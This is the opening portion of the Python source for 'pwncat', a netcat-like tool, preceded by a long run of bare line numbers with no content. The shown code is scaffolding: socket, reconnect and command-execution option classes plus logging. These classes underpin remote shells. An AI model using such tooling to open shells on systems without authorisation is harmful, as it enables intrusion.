5306
5307
5308
5309
5310
5311
5312
5313
5314
5315
5316
5317
5318
5319
5320
5321
5322
5323
5324
5325
5326
5327
5328
5329
5330
5331
5332
5333
5334
5335
5336
5337
5338
5339
5340
5341
5342
5343
5344
5345
5346
5347
5348
5349
5350
5351
5352
5353
5354
5355
5356
5357
5358
5359
5360
5361
5362
5363
5364
5365
5366
5367
5368
5369
5370
5371
5372
5373
5374
5375
5376
5377
5378
5379
5380
5381
5382
5383
5384
5385
5386
5387
5388
5389
5390
5391
5392
5393
5394
5395
5396
5397
5398
5399
5400
5401
5402
5403
5404
5405
5406
5407
5408
5409
5410
5411
5412
5413
5414
5415
5416
5417
5418
5419
5420
5421
5422
5423
5424
5425
5426
5427
5428
5429
5430
5431
5432
5433
5434
5435
5436
5437
5438
5439
5440
5441
5442
5443
5444
5445
5446
5447
5448
5449
5450
5451
5452
5453
5454
5455
5456
5457
5458
5459
5460
5461
5462
5463
5464
5465
5466
5467
5468
5469
5470
5471
5472
5473
5474
5475
5476
5477
5478
5479
5480
5481
5482
5483
5484
5485
5486
5487
5488
5489
5490
5491
5492
5493
5494
5495
5496
5497
5498
5499
5500
5501
5502
5503
5504
5505
5506
5507
5508
5509
5510
5511
5512
5513
5514
5515
5516
5517
5518
5519
5520
5521
5522
5523
5524
5525
5526
5527
5528
5529
5530
5531
5532
5533
5534
5535
5536
5537
5538
5539
5540
5541
5542
5543
5544
5545
5546
5547
5548
5549
5550
5551
5552
5553
5554
5555
5556
5557
5558
5559
5560
5561
5562
5563
5564
5565
5566
5567
5568
5569
5570
5571
5572
5573
5574
5575
5576
5577
5578
5579
5580
5581
5582
5583
5584
5585
5586
5587
5588
5589
5590
5591
5592
5593
5594
5595
5596
5597
5598
5599
5600
5601
5602
5603
5604
5605
5606
5607
5608
5609
5610
5611
5612
5613
5614
5615
5616
5617
5618
5619
5620
5621
5622
5623
5624
5625
5626
5627
5628
5629
5630
5631
5632
5633
5634
5635
5636
5637
5638
5639
5640
5641
5642
5643
5644
5645
5646
5647
5648
5649
5650
5651
5652
5653
5654
5655
5656
5657
5658
5659
5660
5661
5662
5663
5664
5665
5666
5667
5668
5669
5670
5671
5672
5673
5674
5675
5676
5677
5678
5679
5680
5681
5682
5683
5684
5685
5686
5687
5688
5689
5690
5691
5692
5693
5694
5695
5696
5697
5698
5699
5700
5701
5702
5703
5704
5705
5706
5707
5708
5709
5710
5711
5712
5713
5714
5715
5716
5717
5718
5719
5720
5721
5722
5723
5724
5725
5726
5727
5728
5729
5730
5731
5732
5733
5734
5735
5736
5737
5738
5739
5740
5741
5742
5743
5744
5745
5746
5747
5748
5749
5750
5751
5752
5753
5754
5755
5756
5757
5758
5759
5760
5761
5762
5763
5764
5765
5766
5767
5768
5769
5770
5771
5772
5773
5774
5775
5776
5777
5778
5779
5780
5781
5782
5783
5784
5785
5786
5787
5788
5789
5790
5791
5792
5793
5794
5795
5796
5797
5798
5799
5800
5801
5802
5803
5804
5805
5806
5807
5808
5809
5810
5811
5812
5813
5814
5815
5816
5817
5818
5819
5820
5821
5822
5823
5824
5825
5826
5827
5828
5829
5830
5831
5832
5833
5834
5835
5836
5837
5838
5839
5840
5841
5842
5843
5844
5845
5846
5847
5848
5849
5850
5851
5852
5853
5854
5855
5856
5857
5858
5859
5860
5861
5862
5863
5864
5865
5866
5867
5868
5869
5870
5871
5872
5873
5874
5875
5876
5877
5878
5879
5880
5881
5882
5883
5884
5885
5886
5887
5888
5889
5890
5891
5892
5893
5894
5895
5896
5897
5898
5899
5900
5901
5902
5903
5904
5905
5906
5907
5908
5909
5910
5911
5912
5913
5914
5915
5916
5917
5918
5919
5920
5921
5922
5923
5924
5925
5926
5927
5928
5929
5930
5931
5932
5933
5934
5935
5936
5937
5938
5939
5940
5941
5942
5943
5944
5945
5946
5947
5948
5949
5950
5951
5952
5953
5954
5955
5956
5957
5958
5959
5960
5961
5962
5963
5964
5965
5966
5967
5968
5969
5970
5971
5972
5973
5974
5975
5976
5977
5978
5979
5980
5981
5982
5983
5984
5985
5986
5987
5988
5989
5990
5991
5992
5993
5994
5995
5996
5997
5998
5999
6000
6001
6002
6003
6004
6005
6006
6007
6008
6009
6010
6011
6012
6013
6014
6015
6016
6017
6018
6019
6020
6021
6022
6023
6024
6025
6026
6027
6028
6029
6030
6031
6032
6033
6034
6035
6036
6037
6038
6039
6040
6041
6042
6043
6044
6045
6046
6047
6048
6049
6050
6051
6052
6053
6054
6055
6056
6057
6058
6059
6060
6061
6062
6063
6064
6065
6066
6067
6068
6069
6070
6071
6072
6073
6074
6075
6076
6077
6078
6079
6080
6081
6082
6083
6084
6085
6086
6087
6088
6089
6090
6091
6092
6093
6094
6095
6096
6097
6098
6099
6100
6101
6102
6103
6104
6105
6106
6107
6108
6109
6110
6111
6112
6113
6114
6115
6116
6117
6118
6119
6120
6121
6122
6123
6124
6125
6126
6127
6128
6129
6130
6131
6132
6133
6134
6135
6136
6137
6138
6139
6140
6141
6142
6143
6144
6145
6146
6147
6148
6149
6150
6151
6152
6153
6154
6155
6156
6157
6158
6159
6160
6161
6162
6163
6164
6165
6166
6167
6168
6169
6170
6171
6172
6173
6174
6175
6176
6177
6178
6179
6180
6181
6182
6183
6184
6185
6186
6187
6188
6189
6190
6191
6192
6193
6194
6195
6196
6197
6198
6199
6200
6201
6202
6203
6204
6205
6206
6207
6208
6209
6210
6211
6212
6213
6214
6215
6216
6217
6218
6219
6220
6221
6222
6223
6224
6225
6226
6227
6228
6229
6230
6231
6232
6233
6234
6235
6236
6237
6238
6239
6240
6241
6242
6243
6244
6245
6246
6247
6248
6249
6250
6251
6252
6253
6254
6255
6256
6257
6258
6259
6260
6261
6262
6263
6264
6265
6266
6267
6268
6269
6270
6271
6272
6273
6274
6275
6276
6277
6278
6279
6280
6281
6282
6283
6284
6285
6286
6287
6288
6289
6290
6291
6292
6293
6294
6295
6296
6297
6298
6299
6300
6301
6302
6303
6304
6305
6306
6307
6308
6309
6310
6311
6312
6313
6314
6315
6316
6317
6318
6319
6320
6321
6322
6323
6324
6325
6326
6327
6328
6329
6330
6331
6332
6333
6334
6335
6336
6337
6338
6339
6340
6341
6342
6343
6344
6345
6346
6347
6348
6349
6350
6351
6352
6353
6354
6355
6356
6357
6358
6359
6360
6361
#!/usr/bin/env python3
"""pwncat."""

# Main sections in this file:
# ------------------------------------
#  1. Data structure types
#  2. Library classes
#  3. Network
#  4. Transformer
#  5. IO modules
#  6. PSE Store
#  7. IO Runner / InterruptHandler
#  8. Command & Control
#  9. Command line arguments
# 10. Main entrypoint
#
# How does it work?
# ------------------------------------
# 1. IO (Various input/output modules based on producer/consumer)
# 2. Transformer (transforms data)
# 3. Runner (puts IO consumer/producer into threads)
# 4. Signaling / Interrupts
#
# 1. IO
# ------------------------------------
# IO classes provide basic input/output functionality.
# The producer will constantly gather input (net recv, user input, command output)
# The consumer is a callback applied to this data (net send, output, command execution)
# Each producer/consumer pair will be put into a thread by the Runner instance.
#
# 2. Transformer
# ---------------------------
# Transformer sit on top of a IO callback and can transform the data before it is send
# to the callback. (e.g.: convert LF to CRLF, convert simple text into a HTTP POST request,
# convert a HTTP POST response into text, encrypt/decrypt, etc.)
#
# 3. Runner - The really cool meat:
# ------------------------------------
# The single Runner instance puts it all-together. Each producer/consumer pair (and
# x many Transformer) will be moved into their own Thread.
# Producer and consumer of different instances can be mixed, when adding them to the Runner.
# This allows an Net-1.receive producer, to output it (chat), execute it (command)
# or to send it further via a second Net-2 class (proxy).
#
# A list of Transformer can be added to each consumer/producer pair, allowing further data
# transformation. This means you can simply write a Transformer, which wraps any kind of raw
# data into a Layer-7 protocol and/or unwraps it from it. This allows for easy extension
# of various protocols or other data transformations.
#
# 4. Signaling / Interrupts
# ------------------------------------
# The InterruptHandler instance is distributed across all Threads and and the Runner instance and
# is a way to let other Threads know that a stop signal has been requested.
# Producer/Consumer can implement their own interrupt function so they can be stopped from
# inside (if they do non-blocking stuff) or from outside (if they do blocking stuff).

from __future__ import print_function
from abc import abstractmethod
from abc import ABCMeta

from datetime import datetime
from subprocess import PIPE
from subprocess import Popen
from subprocess import STDOUT

import argparse
import base64
import logging
import os
import re
import select
import signal
import socket
import sys
import threading
import time

# Available since Python 3.3
try:
    import ipaddress
except ImportError:
    pass
# Posix terminal
try:
    import tty
    import termios
except ImportError:
    pass
# Windows
try:
    import msvcrt
except ImportError:
    pass

# Only used with mypy for static source code analysis
if os.environ.get("MYPY_CHECK", False):
    from typing import Optional, Iterator, List, Dict, Any, Callable, Tuple, Union, TypeVar
    from types import CodeType
    from typing_extensions import TypedDict  # pylint: disable=import-error

    SockInst = TypeVar("SockInst", bound="Sock")
    # The following is only to create virtual types for mypy in order to find
    # issues via static type linting.
    SockConn = TypedDict(
        "SockConn",
        {
            "sock": socket.socket,
            "conn": socket.socket,
            "local_host": Optional[str],
            "local_addr": str,
            "local_port": int,
            "remote_host": str,
            "remote_addr": str,
            "remote_port": int,
        },
        total=False,
    )
    SockActive = TypedDict(
        "SockActive",
        {"af": int, "conn": socket.socket, "remote_addr": str, "remote_port": int},
        total=False,
    )


# -------------------------------------------------------------------------------------------------
# GLOBALS
# -------------------------------------------------------------------------------------------------

APPNAME = "pwncat"
APPREPO = "https://github.com/cytopia/pwncat"
VERSION = "0.1.1"

# Default timeout for timeout-based sys.stdin and socket.recv
TIMEOUT_READ_STDIN = 0.05
TIMEOUT_RECV_SOCKET = 0.05
TIMEOUT_RECV_SOCKET_RETRY = 1

# https://docs.python.org/3/library/subprocess.html#popen-constructor
# * 0 means unbuffered (read and write are one system call and can return short)
# * 1 means line buffered (only usable if universal_newlines=True i.e., in a text mode)
# * any other positive value means use a buffer of approximately that size
# * negative bufsize (the default) means the system default of io.DEFAULT_BUFFER_SIZE will be used.
# TODO: should I use 'bufsize=1'?
# TODO: Probably set it to 0: https://stackoverflow.com/a/45664969
POPEN_BUFSIZE = -1

# https://docs.python.org/3/library/socket.html#socket.socket.recv
RECV_BUFSIZE = 8192

# https://docs.python.org/3/library/socket.html#socket.socket.listen
LISTEN_BACKLOG = 0


# #################################################################################################
# #################################################################################################
# ###
# ###   1 / 11   M E T A   C L A S S E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [1/11 META CLASSES]: (1/2) Abstract
# -------------------------------------------------------------------------------------------------
# Abstract class with Python 2 + Python 3 support: https://stackoverflow.com/questions/35673474
ABC = ABCMeta("ABC", (object,), {"__slots__": ()})


# -------------------------------------------------------------------------------------------------
# [1/11 META CLASSES]: (2/2) Singleton
# -------------------------------------------------------------------------------------------------
class _Singleton(type):
    """A thread-safe metaclass that creates a Singleton base class when called."""

    # https://refactoring.guru/design-patterns/singleton/python/example#example-1
    _instances = {}  # type: Dict[_Singleton, _Singleton]

    _lock = threading.Lock()

    def __call__(cls, *args, **kwargs):
        # type: (_Singleton, Any, Any) -> _Singleton

        # Now, imagine that the program has just been launched. Since there's no
        # Singleton instance yet, multiple threads can simultaneously pass the
        # previous conditional and reach this point almost at the same time. The
        # first of them will acquire lock and will proceed further, while the
        # rest will wait here.
        with cls._lock:
            # The first thread to acquire the lock, reaches this conditional,
            # goes inside and creates the Singleton instance. Once it leaves the
            # lock block, a thread that might have been waiting for the lock
            # release may then enter this section. But since the Singleton field
            # is already initialized, the thread won't create a new object.
            if cls not in cls._instances:
                cls._instances[cls] = super(_Singleton, cls).__call__(*args, **kwargs)
        return cls._instances[cls]


# #################################################################################################
# #################################################################################################
# ###
# ###   2 / 11   D A T A   S T R U C T U R E   T Y P E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (1/12) DsCallableProducer
# -------------------------------------------------------------------------------------------------
class DsCallableProducer(object):
    """A type-safe data structure for Callable functions."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def function(self):
        # type: () -> Callable[..., Iterator[bytes]]
        """`IO.producer`: Callable funtcion function."""
        return self.__function

    @property
    def args(self):
        # type: () -> Any
        """`*args`: optional *args for the callable function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Any
        """`**kargs`: optional *kwargs for the callable function."""
        return self.__kwargs

    # --------------------------------------------------------------------------
    # Contrcutor
    # --------------------------------------------------------------------------
    def __init__(self, function, *args, **kwargs):
        # type: (Callable[..., Iterator[bytes]], Any, Any) -> None
        self.__function = function
        self.__args = args
        self.__kwargs = kwargs


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (2/12) DsRunnerAction
# -------------------------------------------------------------------------------------------------
class DsRunnerAction(object):
    """A type-safe data structure for Action functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def producer(self):
        # type: () -> DsCallableProducer
        """`DsCallableProducer`: Data producer function struct with args and kwargs."""
        return self.__producer

    @property
    def consumer(self):
        # type: () -> Callable[[bytes], None]
        """`IO.consumer`: Data consumer function."""
        return self.__consumer

    @property
    def interrupts(self):
        # type: () -> List[Callable[[], None]]
        """`[List[Callable[[], None]]]`: List of interrupt functions for the producer/consumer."""
        return self.__interrupts

    @property
    def transformers(self):
        # type: () -> List[Transform]
        """`[Transform.transformer]`: List of transformer functions applied before consumer."""
        return self.__transformers

    @property
    def daemon_thread(self):
        # type: () -> bool
        """`bool`: Determines if the action will be started in a daemon thread."""
        return self.__daemon_thread

    @property
    def code(self):
        # type: () -> Optional[Union[str, bytes, CodeType]]
        """`ast.AST`: custom Python code which provides a `transform(data, pse) -> str` function."""
        return self.__code

    # --------------------------------------------------------------------------
    # Contrcutor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        producer,  # type: DsCallableProducer
        consumer,  # type: Callable[[bytes], None]
        interrupts,  # type: List[Callable[[], None]]
        transformers,  # type: List[Transform]
        daemon_thread,  # type: bool
        code,  # type: Optional[Union[str, bytes, CodeType]]
    ):
        # type: (...) -> None
        self.__producer = producer
        self.__consumer = consumer
        self.__interrupts = interrupts
        self.__transformers = transformers
        self.__daemon_thread = daemon_thread
        self.__code = code


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (3/12) DsRunnerTimer
# -------------------------------------------------------------------------------------------------
class DsRunnerTimer(object):
    """A type-safe data structure for Timer functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def action(self):
        # type: () -> Callable[..., None]
        """`Callable[..., None]`: function to be run periodically."""
        return self.__action

    @property
    def intvl(self):
        # type: () -> int
        """`int`: interval at which to run the action function.."""
        return self.__intvl

    @property
    def args(self):
        # type: () -> Tuple[Any, ...]
        """`*args`: optional *args for the action function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Dict[str, Any]
        """`**kargs`: optional *kwargs for the action function."""
        return self.__kwargs

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        action,  # type: Callable[..., None]
        ssig,  # type: InterruptHandler
        intvl,  # type: int
        args,  # type: Tuple[Any, ...]
        kwargs,  # type: Dict[str, Any]
    ):
        # type: (...) -> None
        assert type(intvl) is int, type(intvl)
        assert type(kwargs) is dict, type(kwargs)
        self.__action = action
        self.__ssig = ssig
        self.__intvl = intvl
        self.__args = args
        self.__kwargs = kwargs


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (4/12) DsRunnerRepeater
# -------------------------------------------------------------------------------------------------
class DsRunnerRepeater(object):
    """A type-safe data structure for repeated functions for the Runner class."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def action(self):
        # type: () -> Callable[..., None]
        """`Callable[..., None]`: function to be run periodically."""
        return self.__action

    @property
    def repeat(self):
        # type: () -> int
        """`int`: how many times to repeat the action function."""
        return self.__repeat

    @property
    def pause(self):
        # type: () -> float
        """`int`: pause in seconds between repeated action calls."""
        return self.__pause

    @property
    def args(self):
        # type: () -> Tuple[Any, ...]
        """`*args`: optional *args for the action function."""
        return self.__args

    @property
    def kwargs(self):
        # type: () -> Dict[str, Any]
        """`**kargs`: optional *kwargs for the action function."""
        return self.__kwargs

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        action,  # type: Callable[..., None]
        ssig,  # type: InterruptHandler
        repeat,  # type: int
        pause,  # type: float
        args,  # type: Tuple[Any, ...]
        kwargs,  # type: Dict[str, Any]
    ):
        # type: (...) -> None
        assert type(repeat) is int, type(repeat)
        assert type(pause) is float, type(pause)
        assert type(kwargs) is dict, type(kwargs)
        self.__action = action
        self.__ssig = ssig
        self.__repeat = repeat
        self.__pause = pause
        self.__args = args
        self.__kwargs = kwargs


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (5/12) DsSock
# -------------------------------------------------------------------------------------------------
class DsSock(object):
    """A type-safe data structure for DsSock options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def bufsize(self):
        # type: () -> int
        """`int`: Receive buffer size."""
        return self.__bufsize

    @property
    def backlog(self):
        # type: () -> int
        """`int`: Listen backlog."""
        return self.__backlog

    @property
    def recv_timeout(self):
        # type: () -> Optional[float]
        """`float` or `None`: Receive timeout to change blocking socket to time-out based."""
        return self.__recv_timeout

    @property
    def nodns(self):
        # type: () -> bool
        """`bool`: Determines if we resolve hostnames or not."""
        return self.__nodns

    @property
    def ipv4(self):
        # type: () -> bool
        """`bool`: Only use IPv4 instead of both, IPv4 and IPv6."""
        return self.__ipv4

    @property
    def ipv6(self):
        # type: () -> bool
        """`bool`: Only use IPv6 instead of both, IPv4 and IPv6."""
        return self.__ipv6

    @property
    def src_addr(self):
        # type: () -> Optional[str]
        """`bool`: Custom source address for connect mode."""
        return self.__src_addr

    @property
    def src_port(self):
        # type: () -> Optional[int]
        """`bool`: Custom source port for connect mode."""
        return self.__src_port

    @property
    def udp(self):
        # type: () -> bool
        """`bool`: Determines if we use TCP or UDP."""
        return self.__udp

    @property
    def udp_sconnect(self):
        # type: () -> bool
        """`bool`: Determines if we use stateful connect for UDP."""
        return self.__udp_sconnect

    @property
    def udp_sconnect_word(self):
        # type: () -> str
        """`str`: What string to send when emulating a stateful UDP connect."""
        return self.__udp_sconnect_word

    @property
    def ip_tos(self):
        # type: () -> Optional[str]
        """`str`: Determines what IP_TOS (Type of Service) value to set for the socket."""
        return self.__ip_tos

    @property
    def info(self):
        # type: () -> Optional[str]
        """`str`: Determines what info to display about the socket connection."""
        return self.__info

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        bufsize,  # type: int
        backlog,  # type: int
        recv_timeout,  # type: Optional[float]
        nodns,  # type: bool
        ipv4,  # type: bool
        ipv6,  # type: bool
        src_addr,  # type: Optional[str]
        src_port,  # type: Optional[int]
        udp,  # type: bool
        udp_sconnect,  # type: bool
        udp_sconnect_word,  # type: str
        ip_tos,  # type: Optional[str]
        info,  # type: str
    ):
        # type: (...) -> None
        assert type(bufsize) is int, type(bufsize)
        assert type(backlog) is int, type(backlog)
        assert type(recv_timeout) is float, type(recv_timeout)
        assert type(nodns) is bool, type(nodns)
        assert type(ipv4) is bool, type(ipv4)
        assert type(ipv6) is bool, type(ipv6)
        assert type(src_addr) is str or src_addr is None, type(src_addr)
        assert type(src_port) is int or src_port is None, type(src_port)
        assert type(udp) is bool, type(udp)
        self.__bufsize = bufsize
        self.__backlog = backlog
        self.__recv_timeout = recv_timeout
        self.__nodns = nodns
        self.__ipv4 = ipv4
        self.__ipv6 = ipv6
        self.__src_addr = src_addr
        self.__src_port = src_port
        self.__udp = udp
        self.__udp_sconnect = udp_sconnect
        self.__udp_sconnect_word = udp_sconnect_word
        self.__ip_tos = ip_tos
        self.__info = info


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (6/12) DsIONetworkSock
# -------------------------------------------------------------------------------------------------
class DsIONetworkSock(DsSock):
    """A type-safe data structure for IONetwork socket options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def recv_timeout_retry(self):
        # type: () -> int
        """`int`: How many times to retry receiving if stop signal was raised."""
        return self.__recv_timeout_retry

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        bufsize,  # type: int
        backlog,  # type: int
        recv_timeout,  # type: Optional[float]
        recv_timeout_retry,  # type: int
        nodns,  # type: bool
        ipv4,  # type: bool
        ipv6,  # type: bool
        src_addr,  # type: Optional[str]
        src_port,  # type: Optional[bool]
        udp,  # type: bool
        udp_sconnect,  # type: bool
        udp_sconnect_word,  # type: str
        ip_tos,  # type: Optional[str]
        info,  # type: str
    ):
        # type: (...) -> None
        assert type(recv_timeout_retry) is int, type(recv_timeout_retry)
        self.__recv_timeout_retry = recv_timeout_retry
        super(DsIONetworkSock, self).__init__(
            bufsize,
            backlog,
            recv_timeout,
            nodns,
            ipv4,
            ipv6,
            src_addr,
            src_port,
            udp,
            udp_sconnect,
            udp_sconnect_word,
            ip_tos,
            info,
        )


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (7/12) DsIONetworkCli
# -------------------------------------------------------------------------------------------------
class DsIONetworkCli(object):
    """A type-safe data structure for IONetwork client options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def reconn(self):
        # type: () -> int
        """`int`: If connection fails, retry endless (if negative) or x many times."""
        return self.__reconn

    @reconn.setter
    def reconn(self, value):
        # type: (int) -> None
        assert type(value) is int, type(value)
        self.__reconn = value

    @property
    def reconn_wait(self):
        # type: () -> float
        """`float`: Wait time between re-connections in seconds."""
        return self.__reconn_wait

    @reconn_wait.setter
    def reconn_wait(self, value):
        # type: (float) -> None
        assert type(value) is float, type(value)
        self.__reconn_wait = value

    @property
    def reconn_robin(self):
        # type: () -> List[int]
        """`[int]`: List of alternating re-connection ports."""
        return self.__reconn_robin

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, reconn, reconn_wait, reconn_robin):
        # type: (int, float, List[int]) -> None
        assert type(reconn) is int, type(reconn)
        assert type(reconn_wait) is float, type(reconn_wait)
        assert type(reconn_robin) is list, type(reconn_robin)
        for i in reconn_robin:
            assert type(i) is int, type(i)
        self.__reconn = reconn
        self.__reconn_wait = reconn_wait
        self.__reconn_robin = reconn_robin


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (8/12) DsIONetworkSrv
# -------------------------------------------------------------------------------------------------
class DsIONetworkSrv(object):
    """A type-safe data structure for IONetwork server options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def keep_open(self):
        # type: () -> bool
        """`bool`: Accept new clients if one has disconnected."""
        return bool(self.__keep_open)

    @keep_open.setter
    def keep_open(self, value):
        # type: (bool) -> None
        """Change keep_open value."""
        assert type(value) is bool, type(value)
        self.__keep_open = value

    @property
    def rebind(self):
        # type: () -> int
        """`int`: If binding fails, retry endless (if negative) or x many times."""
        return self.__rebind

    @rebind.setter
    def rebind(self, value):
        # type: (int) -> None
        assert type(value) is int, type(value)
        self.__rebind = value

    @property
    def rebind_wait(self):
        # type: () -> float
        """`float`: Wait time between rebinds in seconds."""
        return self.__rebind_wait

    @property
    def rebind_robin(self):
        # type: () -> List[int]
        """`[int]`: List of alternating rebind ports."""
        return self.__rebind_robin

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, keep_open, rebind, rebind_wait, rebind_robin):
        # type: (bool, int, float, List[int]) -> None
        assert type(keep_open) is bool, type(keep_open)
        assert type(rebind) is int, type(rebind)
        assert type(rebind_wait) is float, type(rebind_wait)
        assert type(rebind_robin) is list, type(rebind_robin)
        for i in rebind_robin:
            assert type(i) is int, type(i)
        self.keep_open = keep_open
        self.__rebind = rebind
        self.__rebind_wait = rebind_wait
        self.__rebind_robin = rebind_robin


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (9/12) DsTransformLinefeed
# -------------------------------------------------------------------------------------------------
class DsTransformLinefeed(object):
    """A type-safe data structure for DsTransformLinefeed options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def crlf(self):
        # type: () -> Optional[str]
        """`bool`: Converts line endings to LF, CRLF or CR and noop on `None`."""
        return self.__crlf

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, crlf):
        # type: (Optional[str]) -> None
        super(DsTransformLinefeed, self).__init__()
        self.__crlf = crlf


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (10/12) DsTransformSafeword
# -------------------------------------------------------------------------------------------------
class DsTransformSafeword(object):
    """A type-safe data structure for DsTransformSafeword options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal."""
        return self.__ssig

    @property
    def safeword(self):
        # type: () -> str
        """`str`: The safeword to shutdown the instance upon receiving."""
        return self.__safeword

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, safeword):
        # type: (InterruptHandler, str) -> None
        super(DsTransformSafeword, self).__init__()
        self.__ssig = ssig
        self.__safeword = safeword


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (11/12) DsIOStdinStdout
# -------------------------------------------------------------------------------------------------
class DsIOStdinStdout(object):
    """A type-safe data structure for IOStdinStdout options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def enc(self):
        # type: () -> StringEncoder
        """`StringEncoder`: String encoder instance."""
        return self.__enc

    @property
    def input_timeout(self):
        # type: () -> Optional[float]
        """`float`: Input timeout in seconds for non-blocking read or `None` for blocking."""
        return self.__input_timeout

    @property
    def send_on_eof(self):
        # type: () -> bool
        """`float`: Determines if we buffer STDIN until EOF before sending."""
        return self.__send_on_eof

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, encoder, input_timeout, send_on_eof):
        # type: (StringEncoder, Optional[float], bool) -> None
        super(DsIOStdinStdout, self).__init__()
        self.__enc = encoder
        self.__input_timeout = input_timeout
        self.__send_on_eof = send_on_eof


# -------------------------------------------------------------------------------------------------
# [2/11 DATA STRUCTURE TYPES]: (12/12) DsIOCommand
# -------------------------------------------------------------------------------------------------
class DsIOCommand(object):
    """A type-safe data structure for IOCommand options."""

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def enc(self):
        # type: () -> StringEncoder
        """`StringEncoder`: Instance of StringEncoder."""
        return self.__enc

    @property
    def executable(self):
        # type: () -> str
        """`srt`: Name or path of executable to run (e.g.: `/bin/bash`)."""
        return self.__executable

    @property
    def bufsize(self):
        # type: () -> int
        """`int`: `subprocess.Popen` bufsize.

        https://docs.python.org/3/library/subprocess.html#popen-constructor
        0 means unbuffered (read and write are one system call and can return short)
        1 means line buffered (only usable if universal_newlines=True i.e., in a text mode)
        any other positive value means use a buffer of approximately that size
        negative bufsize (the default) means system default of io.DEFAULT_BUFFER_SIZE will be used.
        """
        return self.__bufsize

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, enc, executable, bufsize):
        # type: (StringEncoder, str, int) -> None
        self.__enc = enc
        self.__executable = executable
        self.__bufsize = bufsize


# #################################################################################################
# #################################################################################################
# ###
# ###   3 / 11   L I B R A R Y   C L A S S E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [3/11 LIBRARY CLASSES]: (1/3) TraceLogger
# -------------------------------------------------------------------------------------------------
class TraceLogger(logging.getLoggerClass()):  # type: ignore
    """Extend Python's default logger class with TRACE level logging."""

    LEVEL_NUM = 9
    LEVEL_NAME = "TRACE"

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, name, level=logging.NOTSET):
        # type: (str, int) -> None
        """Instantiate TraceLogger class.

        Args:
            name (str):  Instance name.
            level (int): Current log level.
        """
        super(TraceLogger, self).__init__(name, level)
        logging.addLevelName(self.LEVEL_NUM, self.LEVEL_NAME)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def trace(self, msg, *args, **kwargs):
        # type: (str, Any, Any) -> None
        """Set custom log level for TRACE.

        Args:
            msg (str): The log message.
            args (args): *args for trace level log function.
            kwargs (kwargs): kwargs for trace level log function.
        """
        if self.isEnabledFor(self.LEVEL_NUM):
            # Yes, logger takes its '*args' as 'args'.
            self._log(self.LEVEL_NUM, msg, args, **kwargs)


# -------------------------------------------------------------------------------------------------
# [3/11 LIBRARY CLASSES]: (2/3) ColoredLogFormatter
# -------------------------------------------------------------------------------------------------
class ColoredLogFormatter(logging.Formatter):
    """Custom log formatter which adds different details and color support."""

    COLORS = {
        logging.CRITICAL: "\x1b[31;1m",  # bold red
        logging.ERROR: "\x1b[31;21m",  # red
        logging.WARNING: "\x1b[33;21m",  # yellow
        logging.INFO: "\x1b[32;21m",  # green
        logging.DEBUG: "\x1b[30;21m",  # gray
    }
    COLOR_DEF = COLORS[logging.DEBUG]
    COLOR_RST = "\x1b[0m"

    # --------------------------------------------------------------------------
